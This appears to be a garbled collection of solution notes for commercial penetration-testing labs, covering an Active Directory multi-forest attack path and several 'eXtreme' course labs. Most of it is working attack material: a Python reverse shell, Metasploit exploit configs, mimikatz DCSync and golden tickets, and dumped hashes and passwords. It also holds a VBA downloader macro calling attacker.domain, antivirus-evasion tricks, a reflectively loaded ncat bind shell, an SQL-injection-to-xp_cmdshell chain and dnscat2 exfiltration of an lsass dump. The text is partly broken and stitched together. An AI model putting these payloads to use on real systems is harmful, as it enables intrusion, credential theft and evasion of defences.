HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\Currentversion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultUserName REG_SZ Administrator
<..SNIP..>
type C:\Users\Administrator\Desktop\Triumph.txt
<Result>
<3
</Result>
Congratulations!!
—------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
----------—--------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
-------------------------------------------------
------------------------------
https://my.ine.com/CyberSecurity/courses/9328123b/penet
ration-testing-red-teaming-active-directory/lab/57ee869
4-facd-4535-b6c8-b4595d18ecb7
Contents
Web Server Attack Path (Path 2)
1. Prod-SRV . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
2. OPS-SRV . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . .
3. ELS-CHILDDC . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
4. ELS-DC . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
5. MGMT-DC . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
6. JUMP-SRV . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
7. Admin-SYS . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
Scenario
You have been asked to execute a (black-box) red
teaming exercise against eLS Corp (including any
related/trusted forest). The letter of engagement
has specified:
Hints
Refer to the attack path diagram of page 1 only
when you are out of options.
1. Prod-SRV Server
functionality.
<root><name>&ab;</name><tel>11111111</tel><email>
yb@sq.co</email><password>12345</password></root>
<root><name>&ab;</name><tel>11111111</tel><email>
yb@sq.co</email><password>12345</password></root>
http://172.16.250.2/Lab-User.php?page=../Lab-Admi
n.php&cmd=python -c import
socket,subprocess,os;s=socket.socket(socket.AF_IN
ET,socket.SOCK_STREAM);s.connect(("172.16.25.x",4
444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1)
;os.dup2(s.fileno(),2);p=subprocess.call(["/bin/s
h","-i"]);
use exploit/multi/handler
set payload cmd/unix/reverse_python
set LHOST <attacking_IP>
set LPORT <listening_port>
run -j
𝑠ℎ𝑒𝑙𝑙
𝑝𝑦𝑡ℎ𝑜𝑛 −𝑐 “𝑖𝑚𝑝𝑜𝑟𝑡 𝑝𝑡𝑦;𝑝𝑡𝑦.𝑠𝑝𝑎𝑤𝑛(‘/𝑏𝑖𝑛/𝑏𝑎𝑠ℎ’);”
𝑠𝑢𝑑𝑜 −𝑙
<𝑅𝑒𝑠𝑢𝑙𝑡>
𝑈𝑠𝑒𝑟 𝑤𝑤𝑤−𝑑𝑎𝑡𝑎 𝑚𝑎𝑦 𝑟𝑢𝑛 𝑡ℎ𝑒 𝑓𝑜𝑙𝑙𝑜𝑤𝑖𝑛𝑔 𝑐𝑜𝑚𝑚𝑎𝑛𝑑𝑠 𝑜𝑛 𝑃𝑟𝑜𝑑−𝑆𝑟𝑣:
(𝒑𝒓𝒐𝒅−𝒂𝒅𝒎𝒊𝒏) /𝒖𝒔𝒓/𝒃𝒊𝒏/𝒗𝒊, 𝑵𝑶𝑷𝑨𝑺𝑺𝑾𝑫:𝑨𝑳𝑳
</𝑅𝑒𝑠𝑢𝑙𝑡>
𝑠𝑢𝑑𝑜 −𝑢 𝑝𝑟𝑜𝑑−𝑎𝑑𝑚𝑖𝑛 𝑣𝑖
𝑃𝑟𝑒𝑠𝑠 “𝑬𝑺𝑪 +∶ ”
!/𝑏𝑖𝑛/𝑠ℎ
𝑏𝑎𝑠ℎ −𝑖
𝑤ℎ𝑜𝑎𝑚𝑖
<𝑅𝑒𝑠𝑢𝑙𝑡>
𝑷𝒓𝒐𝒅−𝒂𝒅𝒎𝒊𝒏
</𝑅𝑒𝑠𝑢𝑙𝑡>
On meterpreter prompt
Modify /etc/proxychains.conf
𝑠𝑜𝑐𝑘𝑠4𝑎 172.16.25.𝑥 1080
1. OPS-SRV Server
URL: http://10.10.2.4:8080
Browse to:
http://10.10.2.4:8080
Authenticate with:
𝑎𝑑𝑚𝑖𝑛/𝑎𝑑𝑚𝑖𝑛
Configure Exploit:
𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑡𝑡𝑝/𝑗𝑒𝑛𝑘𝑖𝑛𝑠_𝑠𝑐𝑟𝑖𝑝𝑡_𝑐𝑜𝑛𝑠𝑜𝑙𝑒
𝑠𝑒𝑡 𝑡𝑎𝑟𝑔𝑒𝑡 1
𝑠𝑒𝑡 𝑇𝐴𝑅𝐺𝐸𝑇𝑈𝑅𝐼 /
𝑠𝑒𝑡 𝑅𝑃𝑂𝑅𝑇 8080
Configure Payload:
𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑 𝑙𝑖𝑛𝑢𝑥/𝑥86/𝑠ℎ𝑒𝑙𝑙_𝑏𝑖𝑛𝑑_𝑡𝑐𝑝
𝑠𝑒𝑡 𝑟ℎ𝑜𝑠𝑡 10.10.2.4
𝑠𝑒𝑡 𝑣𝑒𝑟𝑏𝑜𝑠𝑒 𝑡𝑟𝑢𝑒
run
1. CHILD-DC Server
Upload Mimikatz.exe:
𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧.𝑒𝑥𝑒
𝑙𝑠𝑎𝑑𝑢𝑚𝑝::𝑑𝑐𝑠𝑦𝑛𝑐 /𝑢𝑠𝑒𝑟:𝑒𝑙𝑠−𝑐ℎ𝑖𝑙𝑑\𝑘𝑟𝑏𝑡𝑔𝑡
<Result>
𝟐𝟎𝟏𝟕𝒇𝟑𝟖𝒇𝟖𝟗𝟕𝒃𝟏𝟒𝟑𝟖𝒆𝟒𝟗𝟑𝒆𝟐𝒆𝒆𝟓𝟖𝒅𝒃𝟗𝟖𝒄𝟎
</Result>
𝑘𝑒𝑟𝑏𝑒𝑟𝑜𝑠::𝑝𝑡𝑡 𝑡𝑖𝑐𝑘𝑒𝑡.𝑘𝑖𝑟𝑏𝑖
Golden Ticket:
1. ELS-DC Server
𝐼𝑚𝑝𝑜𝑟𝑡−𝑀𝑜𝑑𝑢𝑙𝑒 𝐴𝑐𝑡𝑖𝑣𝑒𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦
𝐺𝑒𝑡−𝐴𝐷𝑇𝑟𝑢𝑠𝑡 −𝐹𝑖𝑙𝑡𝑒𝑟 ∗
Identify User:
𝐺𝑒𝑡−𝐴𝐷𝑈𝑠𝑒𝑟 −𝐹𝑖𝑙𝑡𝑒𝑟 ∗ |?{$_.𝑆𝐼𝐷 −𝑒𝑞
′𝑆−1−5−21−286056459−1157968049−2884264478−1107′}
<Result>
𝑒𝑙𝑠.𝑐𝑜𝑟𝑝\𝑓𝑜𝑟𝑒𝑠𝑡_𝑢𝑠𝑒𝑟:1107:𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒
𝑒:𝑏7001𝑏2𝑑𝑏𝑒0𝑓𝑏𝑑𝑏𝑑62𝑒𝑒4𝑏3𝑏𝑑𝑒2410𝑏9
</Result>
1. MGMT-DC Server
Switch to PowerShell
𝑛𝑠𝑙𝑜𝑜𝑘𝑢𝑝 𝑗𝑢𝑚𝑝−𝑠𝑟𝑣
<..SNIP..>
Name: jump-srv.mgmt.corp
IP Address: 10.10.3.3
<../SNIP..>
[..SNIP..]
𝒎𝒈𝒎𝒕−𝒂𝒅𝒎𝒊𝒏:500:𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒:86𝑐6
4𝑎256𝑒8𝑎𝑒𝑏2𝑒𝑑𝑓31𝑏4157𝑏𝑓6𝑏𝑒𝑐𝑏:::
𝒌𝒓𝒃𝒕𝒈𝒕:502:𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒:2𝑎7𝑎0𝑓5379
83𝑏𝑎𝑐4120725𝑑055𝑓𝑐𝑏𝑏𝑎9:::
𝒎𝒈𝒎𝒕.𝒄𝒐𝒓𝒑\𝒋𝒖𝒎𝒑−𝒂𝒅𝒎𝒊𝒏:1104:𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51
404𝑒𝑒:𝟐𝒅𝒄𝟗𝒃𝒇𝒇𝟑𝟗𝟕𝒇𝟗𝒆𝟔𝒄𝟗𝒇𝟎𝟖𝒂𝟎𝟓𝒃𝟏𝟖𝟏𝟒𝟓𝒂𝟕𝒃𝟔:::
𝒎𝒈𝒎𝒕.𝒄𝒐𝒓𝒑\𝒔𝒑𝒏_𝒔𝒗𝒄:1106:𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒
𝑒:2𝑑𝑐9𝑏𝑓𝑓397𝑓9𝑒6𝑐9𝑓08𝑎05𝑏18145𝑎7𝑏6:::
[..SNIP..]
→ Crack jump-admin
hash(2dc9bff397f9e6c9f08a05b18145a7b6):
1. Jump-Srv
<..SNIP..>
𝑁𝑚𝑎𝑝 𝑠𝑐𝑎𝑛 𝑟𝑒𝑝𝑜𝑟𝑡 𝑓𝑜𝑟 10.10.3.3
𝐻𝑜𝑠𝑡 𝑖𝑠 𝑢𝑝 (2.4𝑠 𝑙𝑎𝑡𝑒𝑛𝑐𝑦).
𝑃𝑂𝑅𝑇 𝑆𝑇𝐴𝑇𝐸 𝑆𝐸𝑅𝑉𝐼𝐶𝐸 𝑉𝐸𝑅𝑆𝐼𝑂𝑁
21/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 𝑓𝑡𝑝
Inside SQLite
.𝑡𝑎𝑏𝑙𝑒𝑠
𝑠𝑒𝑙𝑒𝑐𝑡 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠.𝑢𝑟𝑙 𝑓𝑟𝑜𝑚 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠;
.𝑞𝑢𝑖𝑡
𝑓𝑜𝑢𝑛𝑑 𝑈𝑅𝐿:
𝒉𝒕𝒕𝒑𝒔://𝒂𝒅𝒎𝒊𝒏−𝒔𝒚𝒔.𝒔𝒊𝒕𝒆/𝒍𝒐𝒈𝒊𝒏.𝒂𝒔𝒑?𝒖𝒔𝒆𝒓=𝒔𝒚𝒔−𝒂𝒅𝒎𝒊𝒏&𝒑𝒂𝒔𝒔=𝑹𝒂𝒏𝒅𝟎𝒎𝒍
𝒚𝑺𝟑𝒍𝟑𝒄𝒕𝒆𝒅𝑷@𝒔𝒔
𝑝𝑖𝑛𝑔 𝑎𝑑𝑚𝑖𝑛−𝑠𝑦𝑠.𝑠𝑖𝑡𝑒
Discovered IP address [192.168.1.2]
1. Admin-SYS
<..SNIP..>
𝐻𝐾𝐸𝑌_𝐿𝑂𝐶𝐴𝐿_𝑀𝐴𝐶𝐻𝐼𝑁𝐸\𝑆𝑂𝐹𝑇𝑊𝐴𝑅𝐸\𝑀𝑖𝑐𝑟𝑜𝑠𝑜𝑓𝑡\𝑊𝑖𝑛𝑑𝑜𝑤𝑠
𝑁𝑇\𝐶𝑢𝑟𝑟𝑒𝑛𝑡𝑣𝑒𝑟𝑠𝑖𝑜𝑛\𝑊𝑖𝑛𝑙𝑜𝑔𝑜𝑛
𝐴𝑢𝑡𝑜𝑅𝑒𝑠𝑡𝑎𝑟𝑡𝑆ℎ𝑒𝑙𝑙 𝑅𝐸𝐺_𝐷𝑊𝑂𝑅𝐷 0𝑥1
𝐵𝑎𝑐𝑘𝑔𝑟𝑜𝑢𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 0 0 0
𝐶𝑎𝑐ℎ𝑒𝑑𝐿𝑜𝑔𝑜𝑛𝑠𝐶𝑜𝑢𝑛𝑡 𝑅𝐸𝐺_𝑆𝑍 10
𝐷𝑒𝑏𝑢𝑔𝑆𝑒𝑟𝑣𝑒𝑟𝐶𝑜𝑚𝑚𝑎𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑛𝑜
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑈𝑠𝑒𝑟𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑨𝒅𝒎𝒊𝒏𝒊𝒔𝒕𝒓𝒂𝒕𝒐𝒓
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝐷𝑜𝑚𝑎𝑖𝑛𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑊𝐼𝑁−10−𝑃𝑅𝑂−𝑋64
𝐴𝑢𝑡𝑜𝐴𝑑𝑚𝑖𝑛𝐿𝑜𝑔𝑜𝑛 𝑅𝐸𝐺_𝑆𝑍 1
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑃𝑎𝑠𝑠𝑤𝑜𝑟𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑻𝒆𝒔𝒕@𝟏𝟐𝟑
<..SNIP..>
<Result>
CONGRATULATIONS, YOU HAVE SUCCESSFULLY
COMPROMISED MULTI-FOREST RED TEAM ENVIRONMENT!!
<3
</Result>
Congratulations!!
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - -
-- - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - -- - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - -- - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - -
-- - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - -
Scenario
In the following lab, you can practice the attack
vector development techniques explained in the
Penetration Testing eXtreme course.
Goals
Recommended tools
● Microsoft Office
● [Powersploit's Invoke-ReflectivePEInjection]
Credentials:
● ELS_Admin
● P@ssw0rd123
Important
Before proceeding with this lab's tasks, log
into the machine the above, navigate to the
Documents directory and delete everything that
is there, prior to the attack.
Tasks
Task 1: Develop a custom macro and the accompanying
payloads
Solutions
Below, you can find solutions in the form of
source code, for each task. Remember though that
you can follow your own strategy (which may be
different from the one explained in the following
lab).
Sub DownloadAndExec()
Dim xHttp: Set xHttp =
CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm =
CreateObject("Adodb.Stream")
xHttp.Open "GET",
"https://attacker.domain/ps1_b64.crt", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "encoded_ps1.crt", 2
'//overwrite
End With
Shell ("cmd /c certutil -decode
encoded_ps1.crt decoded.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\po
wershell.exe -ep bypass -W Hidden
.\decoded.ps1")
End Sub
To make Powersploit's
Invoke-ReflectivePEInjection more A/V-resistant,
you can simply remove every comment and rename
the first function to Invoke-PEInjectionInMemory.
You can find the altered source code on the link
below.
[https://gist.github.com/anonymous/67ae047664e940
7b053874e7e1732349]
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray =
[System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file.";
}
if ($ByteArray) {
$Base64String =
[System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
Convert-BinaryToString
path_to_ncat_executable
param (
[Parameter(Mandatory=$true)]
[string] $file1, #First File
[Parameter(Mandatory=$true)]
[string] $file2, #Second file
[Parameter(Mandatory=$true)]
[string] $out #Output File
) #end param
$file1_b =
[System.IO.File]::ReadAllBytes("$file1")
$file2_b =
[System.IO.File]::ReadAllBytes("$file2")
$len = if ($file1_b.Count -lt $file2_b.Count)
{$file1_b.Count} else { $file2_b.Count}
$xord_byte_array = New-Object Byte[] $len
# XOR between the files
for($i=0; $i -lt $len ; $i++) {
$xord_byte_array[$i] = $file1_b[$i] -bxor
$file2_b[$i] }
[System.IO.File]::WriteAllBytes("$out",
$xord_byte_array)
$ciphertext =
[System.IO.File]::ReadAllBytes($env:temp+"/ci
phertext")
$key =
[System.IO.File]::ReadAllBytes($env:temp+"/ke
y")
$len = if ($ciphertext.Count -lt $key.Count)
{$ciphertext.Count} else { $key.Count}
$xord_byte_array = New-Object Byte[] $len
#XOR between the XORed Ncat and the XOR key
for($i=0; $i -lt $len ; $i++) {
$xord_byte_array[$i] = $ciphertext[$i]
-bxor $key[$i] }
#The deciphered Ncat is stored on Temp
[System.IO.File]::WriteAllBytes($env:temp+"/d
eciphered", $xord_byte_array)
$deciphered = Get-Content
$env:temp/deciphered
$PEBytes =
[System.Convert]::FromBase64String($deciphere
d)
#De-obfuscated Ncat is reflectively loaded
into memory
Invoke-PEInjectionInMemory -PEBytes $PEBytes
-ExeArgs "-nlvp 4444 -e cmd"
$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String(
'insert_gzip_compressed_Invoke-ReflectivePEIn
jection'));
IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.
CompressionMode]::Decompress))).ReadToEnd()
nc 192.168.60.5 4444
Bonus
If you have trouble creating any of the files
(and you are in a hurry). Please find them below
in order to try the attack.
● Book1.xls
https://mega.nz/file/cE1h1JbI#szFIlo6dmEp_0L7
IIRKAkOdh4_484ulLf3bLI98phMk
● ps1_b64.crt
https://mega.nz/file/oMthCJ4I#H7eP8C9-HbkJOgJ
GjwdmWEFzU4a06AfqbRd2eoUWrgE
● xored
https://mega.nz/file/FV0VwbbB#1ctSRHxYqlTdm0L
AG3_192OwAsUekwCeUZ9B1klmBvg
● key
https://mega.nz/file/cY0nlZbQ#zipB9xtpI_IIHmm
wceZPQzT6RuCkfKnW2q2MazOAr74
Goals
attack's lifecycle.
Recommended tools
Credentials:
● ELS_Admin
● P@ssw0rd123
Tasks
Task 1: Work with Metasploit on the BeeF bind stager
and create an A/V resistant payload
Credentials:
● ELS_Admin
● P@ssw0rd123
Solutions
Below, you can find solutions for each task.
Remember though that you can follow your own
strategy (which may be different from the one
explained in the following lab).
Navigate to:
/beef/modules/exploits/beefbind/beef_bind_exploi
Goals
Stealthily capture a Domain Administrator's
password hash through the internet facing Web App
1, leveraging weak SQL Server and database
configurations as well as legitimate SQL Server
capabilities. No PowerShell, Metasploit or
PowerShell Empire should be involved.
Recommended tools
● [WScript]
Tasks
Task 1: Identify a SQL injection vulnerability on Web App 1
Solutions
Below, you can find solutions for each task.
Remember though that you can follow your own
strategy (which may be different from the one
explained in the following lab).
http://10.100.10.101/employee.asp?id=1 or 1=1--
http://10.100.10.101/employee.asp?id=1 order by
1--
http://10.100.10.101/employee.asp?id=1 order by
17--
http://10.100.10.101/employee.asp?id=1 union
select null,null,'Version: '%2bcast((select
@@version) as
varchar),null,null,null,null,null,null,null,null,
null,null,null,null,null --
http://10.100.10.101/employee.asp?id=1 union
select null,null,'Impersonate : '%2bcast((SELECT
distinct b.name) as
varchar),null,null,null,null,null,null,null,null,
null,null,null,null,null FROM
sys.server_permissions a INNER JOIN
sys.server_principals b ON a.grantor_principal_id
= b.principal_id WHERE a.permission_name =
'IMPERSONATE'--
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 EXEC
sp_configure 'show advanced options',1
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1
reconfigure
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 EXEC
sp_configure 'xp_cmdshell',1
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1
reconfigure
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo var WinHttpReq = new
ActiveXObject("WinHttp.WinHttpRequest.5.1"); >
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo WinHttpReq.Open("GET",
WScript.Arguments(0), /*async=*/false); >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo WinHttpReq.Send(); >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo BinStream = new
ActiveXObject("ADODB.Stream"); >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo BinStream.Type = 1; >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo BinStream.Open(); >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo
BinStream.Write(WinHttpReq.ResponseBody); >>
c:\Windows\Temp\dl.js'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'echo
BinStream.SaveToFile("c:\\Windows\\Temp\\out.bin"
); >> c:\Windows\Temp\dl.js'
[https://gist.github.com/anonymous/91296a84d59e5d
398c10c0a6d3519a0a]
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'WScript/nologo c:\Windows\Temp\dl.js
url_of_the_vbs_file'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'rename c:\Windows\Temp\out.bin
out.vbs'
http://10.100.10.101/employee.asp?id=1 EXECUTE AS
LOGIN = 'sa'
http://10.100.10.101/employee.asp?id=1 exec
xp_cmdshell 'WScript/nologo
c:\Windows\Temp\out.vbs'
dnscat2> window -i 1
command (els-DB) 1> shell
Ctrl + z
dnscat2> window -i 1
command (els-DB) 1> download
c:/Windows/Temp/lsassdump.dmp
/root/Desktop/lsassdump.dmp
Goals
Recommended tools
● Metasploit
● IDA
● wsuspect-proxy
Tasks
Task 1: Identify any vulnerabilities on the installed
software of the Windows 10 machine
Credentials:
● Username: ELS\employee1
● Password: P@ssw0rd123
Solutions
Below, you can find solutions for each task.
Remember to achieve the labs objectives, you can
follow your own strategy (which may be different
from the one explained in the following lab).
$g=new-object
net.webclient;$g.proxy=[Net.WebRequest]::GetSyste
mWebProxy();$g.Proxy.Credentials=[Net.CredentialC
ache]::DefaultCredentials;IEX
$g.downloadstring('URL_of_the_file_metasploit_cre
ated_above');
meterpreter> shell
>> reg query
HKLM\Software\Policies\Microsoft\Windows\WindowsU
pdate /v WUServer
meterpreter > ps
● The windows/meterpreter/reverse_https
(PowerShell reflection) stager used above,
but communicating to another port
[WindowsVolume][Manufacturer]\[ProductName]